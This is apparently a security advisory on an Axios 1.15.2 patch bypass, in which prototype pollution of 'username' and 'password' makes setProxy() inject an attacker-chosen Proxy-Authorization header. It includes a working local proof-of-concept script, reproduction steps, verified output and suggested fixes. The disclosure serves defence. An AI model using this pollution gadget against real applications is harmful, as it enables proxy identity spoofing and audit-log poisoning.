CVE-2026-44489: Axios: Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix

[Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2

Summary

The Object.create(null) fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the top-level config object from prototype pollution. However, nested objects created by utils.merge() (e.g., config.proxy) are still constructed as plain {} with Object.prototype in their chain.

The setProxy() function at lib/adapters/http.js:209-223 reads proxy.username, proxy.password, and proxy.auth without hasOwnProperty checks. When Object.prototype.username is polluted, setProxy() constructs a Proxy-Authorization header with attacker-controlled credentials and injects it into every proxied HTTP request.

Severity: Medium (CVSS 5.4) Affected Versions: 1.15.2 (and potentially 1.15.1) Vulnerable Component: lib/adapters/http.js (setProxy()) + lib/utils.js (merge())

CWE

- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

CVSS 3.1

Score: 5.6 (Medium)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP triggered remotely via vulnerable dependency | | Attack Complexity | High | Requires two preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure config.proxy. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Within the proxy authentication context | | Confidentiality | Low | Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike config.baseURL hijack) | | Integrity | Low | Proxy-Authorization header injected; proxy may apply different access policies based on injected identity | | Availability | Low | If proxy rejects the injected credentials, legitimate requests may fail |

Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)

| Factor | GHSA-q8qp-cvcw-x6jj | This Finding | |---|---|---| | Precondition | None — all requests affected | Must have config.proxy set | | config.baseURL PP | Hijacks all relative URL requests | Not applicable | | config.auth PP | Injects Authorization to target server | Only injects Proxy-Authorization to proxy | | Attacker sees traffic | Yes (via baseURL redirect) | No — only proxy identity affected | | Impact scope | Universal — every axios request | Only requests with explicit proxy config |

This Is a Patch Bypass

This vulnerability bypasses the fix introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses Object.create(null) for the config object, blocking direct prototype pollution on config.proxy, config.auth, etc.

However, the fix is incomplete: when a user legitimately sets config.proxy = { host: 'proxy.corp', port: 8080 }, the mergeConfig() function passes this object through utils.merge(), which creates a new plain {} object (lib/utils.js:406: const result = {};). This new object inherits from Object.prototype, re-opening the prototype pollution attack surface on the nested proxy object.

| Layer | Protection | Status | |---|---|---| | config (top-level) | Object.create(null) | ✓ Fixed | | config.proxy (nested) | utils.merge() → const result = {} | ✗ NOT Fixed | | setProxy() reads | proxy.username, proxy.auth without hasOwnProperty | ✗ NOT Fixed |

Root Cause Analysis

Step 1: utils.merge() creates plain {} for nested objects

File: lib/utils.js, line 406

javascript function merge(/ obj1, obj2, obj3, ... /) { const result = {}; // ← Plain object with Object.prototype! // ... }

When mergeConfig() processes config.proxy, getMergedValue() calls utils.merge(), which creates a plain {} for the nested object. This plain object inherits from Object.prototype.

Step 2: setProxy() reads proxy properties without hasOwnProperty

File: lib/adapters/http.js, lines 209-223

javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // ... if (proxy) { if (proxy.username) { // ← traverses Object.prototype! proxy.auth = (proxy.username || '') + ':' + (proxy.password || ''); }

if (proxy.auth) { // ← traverses Object.prototype! const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password); if (validProxyAuth) { proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || ''); } // ... const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64'); options.headers['Proxy-Authorization'] = 'Basic ' + base64; // ← INJECTED! } // ... } }

Complete Attack Chain

Object.prototype.username = 'attacker' Object.prototype.password = 'stolen-creds' │ ▼ User config: { proxy: { host: 'proxy.corp', port: 8080 } } │ ▼ mergeConfig() → utils.merge() → new plain {} config.proxy = { host: 'proxy.corp', port: 8080 } (own properties) config.proxy inherits from Object.prototype (has .username, .password) │ ▼ setProxy() at http.js:209: proxy.username → 'attacker' (from Object.prototype) → truthy! proxy.auth = 'attacker' + ':' + 'stolen-creds' │ ▼ http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz Injected into EVERY proxied HTTP request!

Proof of Concept

javascript import http from 'http'; import axios from './index.js';

// Proxy server logs received Proxy-Authorization const proxyServer = http.createServer((req, res) => { console.log('Proxy-Authorization:', req.headers['proxy-authorization']); res.writeHead(200); res.end('OK'); }); await new Promise(r => proxyServer.listen(0, r)); const proxyPort = proxyServer.address().port;

// Target server const target = http.createServer((req, res) => { res.writeHead(200); res.end(); }); await new Promise(r => target.listen(0, r));

// Simulate prototype pollution from vulnerable dependency Object.prototype.username = 'attacker'; Object.prototype.password = 'stolen-creds';

// Developer sets proxy WITHOUT auth — expects no auth header await axios.get(http://127.0.0.1:${target.address().port}/api, { proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' }, });

// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz // Decoded: attacker:stolen-creds

delete Object.prototype.username; delete Object.prototype.password; proxyServer.close(); target.close();

Reproduction Environment

Axios version: 1.15.2 (latest patched release) Node.js version: v20.20.2 OS: macOS Darwin 25.4.0

Reproduction Steps

bash 1. Install axios 1.15.2 npm pack axios@1.15.2 tar xzf axios-1.15.2.tgz && mv package axios-1.15.2 cd axios-1.15.2 && npm install

2. Save PoC as poc.mjs (code from Section 7 above)

3. Run node poc.mjs

Verified PoC Output

=== Axios 1.15.2: PP → Proxy-Authorization Injection ===

[1] Normal request with proxy (no auth): Proxy-Authorization: none

[2] Prototype Pollution: Object.prototype.username = "attacker" Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz Decoded: attacker:stolen-creds → PP injected proxy credentials: attacker:stolen-creds

[3] Impact: ✗ Attacker injects Proxy-Authorization into all proxied requests ✗ If proxy logs auth, attacker credential appears in proxy logs ✗ If proxy authenticates based on this, attacker controls proxy identity ✗ Works on 1.15.2 despite null-prototype config fix ✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype

Confirming the Bypass Mechanism

Direct PP (config.proxy) — BLOCKED by 1.15.2: Object.prototype.proxy = { host: 'evil' } config.proxy = undefined ← null-prototype blocks ✓

Nested PP (proxy.username) — BYPASSES 1.15.2: Object.prototype.username = 'attacker' config.proxy = { host: 'legit', port: 8080 } ← user-set, own properties config.proxy own keys: ['host', 'port'] ← username NOT own config.proxy.username = 'attacker' ← inherited from Object.prototype! hasOwn(config.proxy, 'username') = false

Impact Analysis

- Proxy Identity Spoofing: The injected Proxy-Authorization header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity. - Proxy Log Poisoning: Proxy servers that log authenticated usernames will record "attacker" instead of the real user, enabling audit trail manipulation. - Credential Injection Amplification: If the proxy forwards the Proxy-Authorization header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain. - Universal Scope When Proxy Is Configured: Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments.

Prerequisite

- Application must use config.proxy (explicit proxy configuration) - A separate prototype pollution vulnerability must exist in the dependency tree - Object.prototype.username or Object.prototype.auth must be polluted

Recommended Fix

Fix 1: Use hasOwnProperty in setProxy()

javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // ... if (proxy) { const hasOwn = (obj, key) => Object.prototype.hasOwnProperty.call(obj, key);

if (hasOwn(proxy, 'username')) { proxy.auth = (proxy.username || '') + ':' + (proxy.password || ''); }

if (hasOwn(proxy, 'auth')) { // ... existing auth handling ... } } }

Fix 2: Use null-prototype objects in utils.merge()

javascript // lib/utils.js line 406 function merge(/ obj1, obj2, obj3, ... /) { const result = Object.create(null); // ← null-prototype for nested objects too // ... }

Fix 3 (Comprehensive): Apply null-prototype to all objects created by getMergedValue()

References

- CWE-1321: Prototype Pollution - GHSA-q8qp-cvcw-x6jj: Original PP Gadgets Fix (Axios 1.15.2) - GHSA-fvcv-3m26-pcqx: Related PP Gadget (Axios 1.15.0) - Axios GitHub Repository